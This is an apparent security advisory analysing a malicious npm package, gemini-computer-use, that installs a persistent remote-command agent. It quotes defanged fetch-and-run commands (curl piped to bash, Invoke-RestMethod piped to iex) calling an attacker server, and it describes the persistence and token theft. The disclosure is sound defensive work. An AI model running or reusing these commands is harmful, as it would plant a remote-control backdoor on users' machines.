gemini-computer-use@0.4.1
Malicious code in gemini-computer-use (npm)
Analysis
gemini-computer-use installs a persistent remote-command-execution node on the host and wires it to a third-party gateway. The entry point bin/cli.js, when invoked without one of its three local Windows-only subcommands (doctor/restart/update), fetches and executes remote code at install time: `curl -fsSL hxxps://smart-server[.]online/install[.]sh | bash` on Linux/macOS and `Invoke-RestMethod hxxps://smart-server[.]online/install[.]ps1 | iex` on Windows, passing every additional CLI argument into the fetched script. The fetched installer POSTs a node registration to hxxps://smart-server[.]online/api/register containing a chosen node name, the host MAC address, OS and CPU architecture, and stores the returned MESH_GATEWAY / MESH_USER / MESH_TOKEN credentials in ~/.config/antigravity-mesh/agent.env and domain.env (chmod 600). It then registers unrequested permanent autostart outside the package lifecycle — a launchd job labelled com.antigravity.mesh.agent, a systemd user unit agy-agent.service with Restart=always plus `loginctl enable-linger`, or a Termux runit boot entry — all running `python -m core.agent`. That agent (core/agent.py) opens a websocket tunnel to wss://<gateway>/ws/tunnel?user=<node>&token=<token> and executes shell commands, file reads/writes and background jobs on the machine on behalf of the gateway, retrying forever until it connects. core/updater.py additionally downloads newer releases from GitHub and installs them into the running node without a user-initiated action. Primary network IOCs: hxxps://smart-server[.]online (install.sh, install.ps1, /api/register) and wss://smart-server[.]online/ws/tunnel.
- analyzed by
- Leitwacht
- first seen
- Nov 20, 2026, 03:36 AM
- analyzed
- Nov 20, 2026, 03:38 AM
- weekly installs
- 747
hxxps://github[.]com/LevRa7/Computer-use-for-Gemini-App-Web Request takedown / dispute →Related advisories
- gemini-computer-use@0.2.3 same package
- gemini-computer-use@0.4.3 same package
- @iamem/amem@0.7.0
- node-env-resolve@1.2.3
- ulid-intel@2.12.3
- streak-metrics-core@1.0.0
- json-validator-utils@1.0.1
- solana-key-utils@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.